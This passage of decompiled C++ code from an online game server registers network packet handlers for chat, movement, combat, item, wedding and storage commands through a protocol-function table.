26, GameDBSession::gds_NC_GAMBLE_COIN_DB_USE_COINITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 161, GameDBSession::gds_NC_ITEMDB_BUYCAPSULE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 163, GameDBSession::gds_NC_ITEMDB_CAPSULEITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 165, GameDBSession::gds_NC_ITEMDB_GETFROMCAPSULE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 214, GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_GAMEINFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 212, GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_RESULT_ACK); } //----- (004B9630) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650BA0: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (004B9660) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9680) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 62, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_TIMERECORD_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 78, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 185, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 188, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 194, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_FREESTAT_APPLICATION_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 16, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 7, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 20, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 31, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_MULTY_LINK_SELECT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 39, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 45, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 81, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 88, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 91, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 94, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 95, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 99, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_COOKING_CASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 103, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 109, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_OFF_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 112, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_AUTO_WAY_FINDING_USE_GATE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 115, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_NPC_MENU_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 15, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 65, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 62, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 84, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 38, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 40, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_OPENSTORAGEPAGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 44, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ); 